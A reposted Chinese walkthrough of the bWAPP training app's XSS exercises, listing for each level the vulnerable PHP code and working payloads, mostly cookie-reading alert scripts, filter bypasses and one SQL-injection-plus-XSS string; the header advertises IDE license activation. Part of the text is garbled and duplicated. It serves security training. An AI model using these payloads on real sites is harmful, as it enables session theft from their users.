bwappxss_α·pav

bwappxss_α·pavzeronil

大家好,又见面了,我是你们的朋友全栈君。如果您正在找激活码,请点击查看最新教程,关注关注公众号 “全栈程序员社区” 获取激活教程,可能之前旧版本教程已经失效.最新Idea2022.1教程亲测有效,一键激活。

Jetbrains全系列IDE使用 1年只要46元 售后保障 童叟无欺

XSS注入

基础知识

xss

演练

反射型

GET/POST型

low

<script>alert('XSS')</script>
//<script>alert(007)</script>
//<script>alert(document.cookie)</script>

mid

// 字符 ' " \ 为转义为 \' \" \\
function xss_check_4($data)
{ 
   
    // These characters are single quote ('), double quote ("), backslash (\) and NUL (the NULL byte).
    return addslashes($data);
}
<script>alert('XSS')</script> //报错
<script>alert(/XSS/)</script>  //成功
//在javascript 中 / 和 " 可起到一样的作用 
//<script>alert(007)</script> //成功
//<script>alert(document.cookie)</script> //成功

high

//特殊被转义为HTML实体,无法绕过
function xss_check_3($data, $encoding = "UTF-8")
{ 
   

    // htmlspecialchars - converts special characters to HTML entities 
    // '&' (ampersand) becomes '&amp;' 
    // '"' (double quote) becomes '&quot;' when ENT_NOQUOTES is not set
    // "'" (single quote) becomes '&#039;' (or &apos;) only when ENT_QUOTES is set
    // '<' (less than) becomes '&lt;'
    // '>' (greater than) becomes '&gt;' 
    return htmlspecialchars($data, ENT_QUOTES, $encoding);
       
}

JSON反射

low

代码分析

关键代码如下

通过URL获得字段$title,并在数组中查询,如果找不到就返回JSON数据。

通过JSON.parse()J将数据转换为 JavaScript 对象

故可控制$title值对<script>进行闭合

if(! in_array(strtoupper($title), $movies)){ 
   
	$string = '{"movies":[{"response":"' . $title . '??? Sorry, we don&#039;t have that movie :("}]}';
}

<script>
		var JSONResponseString = '<?php echo $string ?>';
     	// var JSONResponse = eval ("(" + JSONResponseString + ")");
        var JSONResponse = JSON.parse(JSONResponseString);
        document.getElementById("result").innerHTML=JSONResponse.movies[0].response;
</script>

"}]}';alert(document.cookie)</script>

//"}]}';</script><script>alert(document.cookie)</script>

//<script>
// var JSONResponseString = '<?php echo $string ?>';
//变为
//<script>
// var JSONResponseString = '{"movies":[{"response":""}]}';alert(document.cookie) </script>

mid/high

使用 htmlspecialchars()函数把特殊字符(& ’ ” < >)转义为HTML实体无法桡过

AJAX反射

low/mid

<img src=x onerror=alert(document.cookie)>
//<svg οnlοad=alert(document.cookie)>

high

使用 htmlspecialchars()函数把特殊字符(& ’ ” < >)转义为HTML实体无法桡过

XML反射

low/mid

在XML解析payload需要注意<>两个字符需要使用HTML实体编码

&lt;img src=x onerror=alert(document.cookie)&gt;

high

使用 htmlspecialchars()函数把特殊字符(& ’ ” < >)转义为HTML实体无法桡过

Referer 注入

代码分析

<div id="main">
    
    <h1>XSS - Reflected (Back Button)</h1>
    
    <p>Click the button to go to back to the previous page:

    <input type=button value="Go back" onClick="document.location.href='<?php echo isset($_SERVER["HTTP_REFERER"]) ? xss($_SERVER["HTTP_REFERER"]) : ""?>'">
    
    </p>

</div>

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-rBrPPfy4-1609946435939)(bWAPP-XSS/image-20201006183234683.png)]

对onClick进行适当闭合即可

low

"><script>alert(document.cookie)</script>

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-FOSCpeVv-1609946435942)(bWAPP-XSS/image-20201006183413428.png)]

mid

"><script>alert(document.cookie)</script>

此处使用addslashes()函数导致"><script>alert("XSS")</script>但是 "><script>alert(document.cookie)</script>却可以绕过,可见 >之前的 "不受影响

high

无法绕过

Header注入

代码分析

<div id="main">

    <h1>XSS - Reflected (Custom Header)</h1>

    <p>Some web clients use custom HTTP request headers...</p>

    <p>

    Content of our <b>bWAPP</b> header:
<?php foreach(getallheaders() as $name => $value) { if($name == "bWAPP") //如果存在名为bWAPP的请求头,就读取请求头内容 { echo "<i>" . xss($value) ."</i>"; } } ?>
    </p>
</div>

low

bWAPP: <script>alert(document.cookie)</script>

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-AmHdTSVq-1609946435944)(bWAPP-XSS/image-20201006185758145.png)]

mid

只要payload中不出现 ' " \,均可绕过

bWAPP: <script>alert(document.cookie)</script>

high

无法绕过

eval注入

代码分析

<script>
    eval("document.write(<?php echo xss($_GET["date"])?>)");
</script>

更改url参数,进行注入

可利用 document.write()直接执行alert(),或对eval()进行闭合

low

alert(document.cookie)

//)");alert(document.cookie)</script>

mid

eval(String.fromCharCode(97,108,101,114,116,40,47,120,115,115,47,41))

//eval(alert(/xss/))

JavaScript eval() 函数

JavaScript fromCharCode() 方法

high

写死了,只要不是Date()函数就报错,无法绕过

 <?php
    if(isset($_GET["date"]))
    { 
       
        if($_COOKIE["security_level"] == "2")
        { 
   
            if($_GET["date"] != "Date()")
            { 
    
                echo "<p><font color=\"red\">Invalid input detected!</font></p>";     

            }}}         
    ?>

HREF注入

代码分析

<td align="center"> <a href=xss_href-3.php?movie=<?php echo $row["id"]; ?>&name=<?php echo hpp($name);?>&action=vote>Vote</a></td>

通过对 $name的控制,实现绕过

low

name=?><img src=x onerror=alert(document.cookie)><?php&action=vote

mid/high

使用 urlencode()进行url编码,无法绕过

Login form注入

代码分析

$sql = "SELECT * FROM heroes WHERE login = '" . $login . "' AND password = '" . $password . "'";

通过sql注入和xss联合使用

low

' or 1=1 "<script>alert(document.cookie)</script>"

mid/high

无法绕过

PHP_SELF 注入

代码分析

<?php
    if(isset($_GET["form"]) && isset($_GET["firstname"]) && isset($_GET["lastname"]))
    { 
      
        $firstname = $_GET["firstname"];
        $lastname = $_GET["lastname"];    
        if($firstname == "" or $lastname == "")
        { 
   
            echo "<font color=\"red\">Please enter both fields...</font>";       
        }
        else            
        { 
    
            echo "Welcome " . xss($firstname) . " " . xss($lastname);   
        }
    }
    ?>

对用户输入内容进行输出。(类似留言板)

low

<script>alert(document.cookie)</script>

mid

不出现 ' " \ 即可

<script>alert(document.cookie)</script>

high

无法绕过

请求头Referer注入

代码分析

<?php
    if(isset($_SERVER["HTTP_REFERER"])) 
    { 
      
        // print_r($_SERVER);
        $referer = $_SERVER["HTTP_REFERER"];
        echo "<p>The referer: <i>" . xss($referer) . "</i></p>"
    }
    else     
    { 
   
        echo "<p><font color=\"red\">No referer was used!</font></p>";   
    }
    ?>

与留言版类似,注入点在 Referer 字段

low

<script>alert(document.cookie)</script>

mid

不出现 ' " \ 即可

<script>alert(document.cookie)</script>

high

无法绕过

请求头User-Agent注入

代码分析

<?php
    if(isset($_SERVER["HTTP_USER_AGENT"]))
    { 
   
       // print_r($_SERVER);
        $user_agent = $_SERVER["HTTP_USER_AGENT"];
        echo "<p>Your User-Agent: <i>" . xss($user_agent) . "</i></p>";
    }
    else
    { 
   
        echo "<p><font color=\"red\">No User-Agent was used!</font></p>";
    }
    ?>

low

<script>alert(document.cookie)</script>

mid

不出现 ' " \ 即可

<script>alert(document.cookie)</script>

high

无法绕过

存储型

blog

代码分析

<tr height="40">
	<td align="center"><?php echo $row->id; ?></td>
	<td><?php echo $row->owner; ?></td>
	<td><?php echo $row->date; ?></td>
	<td><?php echo $row->entry; ?></td> <!--根据不同的security_level对$row->entry进行消毒-->
</tr>

low

<script>alert(document.cookie)</script>

mid

不出现 ' " \ 即可

<script>alert(document.cookie)</script>

high

无法绕过

Change Secret(HTML hidden)注入

代码分析

//low 对提交的$login和$secret都进行了严格的消毒
    $login = mysqli_real_escape_string($link, $login);
    $secret = mysqli_real_escape_string($link, $secret);
    $secret = xss($secret);

//mid high对提交的$secret都进行了严格的消毒
    $secret = mysqli_real_escape_string($link, $secret);
    $secret = htmlspecialchars($secret, ENT_QUOTES, "UTF-8");

故无法直接对 secret进行注入

low

"><script>alert(document.cookie)</script>

mid/high

l o g i n 和 login和 loginsecret都进行了严格的消毒
l o g i n = m y s q l i r e a l e s c a p e s t r i n g ( login = mysqli_real_escape_string( login=mysqlirealescapestring(link, $login);
s e c r e t = m y s q l i r e a l e s c a p e s t r i n g ( secret = mysqli_real_escape_string( secret=mysqlirealescapestring(link, $secret);
s e c r e t = x s s ( secret = xss( secret=xss(secret);

//mid high对提交的$secret都进行了严格的消毒
s e c r e t = m y s q l i r e a l e s c a p e s t r i n g ( secret = mysqli_real_escape_string( secret=mysqlirealescapestring(link, $secret);
s e c r e t = h t m l s p e c i a l c h a r s ( secret = htmlspecialchars( secret=htmlspecialchars(secret, ENT_QUOTES, “UTF-8”);


故无法直接对 `secret`进行注入

#### low

```javascript
"><script>alert(document.cookie)</script>

mid/high

无法绕过

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/193627.html原文链接:https://javaforall.net

(0)
全栈程序员-站长的头像全栈程序员-站长


相关推荐

  • pve安装docker图形化_怎么安装docker

    pve安装docker图形化_怎么安装docker基本相当于转载,但我光贴图也不行啊,还是把步骤加上去年年底这NUC到手时,就装PVE练手,然而最后做主力挂机的是那会买的个1037U小主机当时就尝试过装LibreELEC,结果是接显示器黑屏不过后来我直接在宿主机上装桌面和Kodi,但是吧那源里的Kodi是17的对于x265是软解。。。怎么装当然是看的值得买上的这个人家是OMV咱这是PVE都是装桌面再装KODI,但是为了保持纯净的PVE所以才想直通…

    2025年6月23日
    0
  • Xray的快速使用

    Xray的快速使用快速使用使用基础爬虫爬取并扫描整个网站xraywebscan–basic-crawlerhttp://example.com–html-outputcrawler.html使用HTTP代理进行被动扫描xraywebscan–listen127.0.0.1:7777–html-outputproxy.html设置浏览器http代理为http://127.0.0.1:7777,就可以自动分析代理流量并扫描。如需扫描https流量,请阅读下方文档抓取htt

    2022年5月30日
    66
  • 数组转集合集合转数组_数组与集合的区别

    数组转集合集合转数组_数组与集合的区别一、数组转集合:String[]array={“1″,”2″,”3″,”4”};List<String>list=Arrays.asList(array);ListarrList=newArrayList(list);arrList.add(“5”);二、集合转数组:…

    2025年6月3日
    1
  • CLLocation定位

    CLLocation定位importUIKitimportCoreLocationimportAlamofiretypealiasLocationClosure=((_sheng:String,_shi:String,_qu:String)->Void)classCLLocationTool:NSObject{publicstaticlet`default`=CLLocationTool.init()///定…

    2022年7月26日
    1
  • Conda 替换镜像源方法尽头,再也不用到处搜镜像源地址[通俗易懂]

    Conda 替换镜像源方法尽头,再也不用到处搜镜像源地址[通俗易懂]文章目录conda替换镜像源教程1镜像源添加方法2如何找到你要用的源conda替换镜像源教程由于国内访问conda官网很慢,离线安装又费时费力,因此,替换国内源是一个极佳的办法。但是,目前国内源的替换教程过于老旧,都是2018-2021年的方法,尽管替换镜像源的方法不变,但是网上的资料中,很多镜像源都失效了,没有一个教程能够告诉大家如何去找自己的镜像源并添加进去。本教程出于此目的,保证大家以后添加的镜像源实效性强。(时间2022.3.10)1镜像源添加方法首先是一些常用命令,帮你诊断目前你的co

    2022年9月30日
    0
  • arraylist遍历 并删除_js遍历list对象

    arraylist遍历 并删除_js遍历list对象//第一种遍历 ArrayList 对象的方法foreach(object o in al){Console.Write(o.ToString()+” “);}//第二种遍历 ArrayList 对象的方法IEnumerator ie=al.GetEnumerator();while(ie.MoveNext()){Console.Write(ie.Curret.ToString()+” “);

    2022年9月29日
    0

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号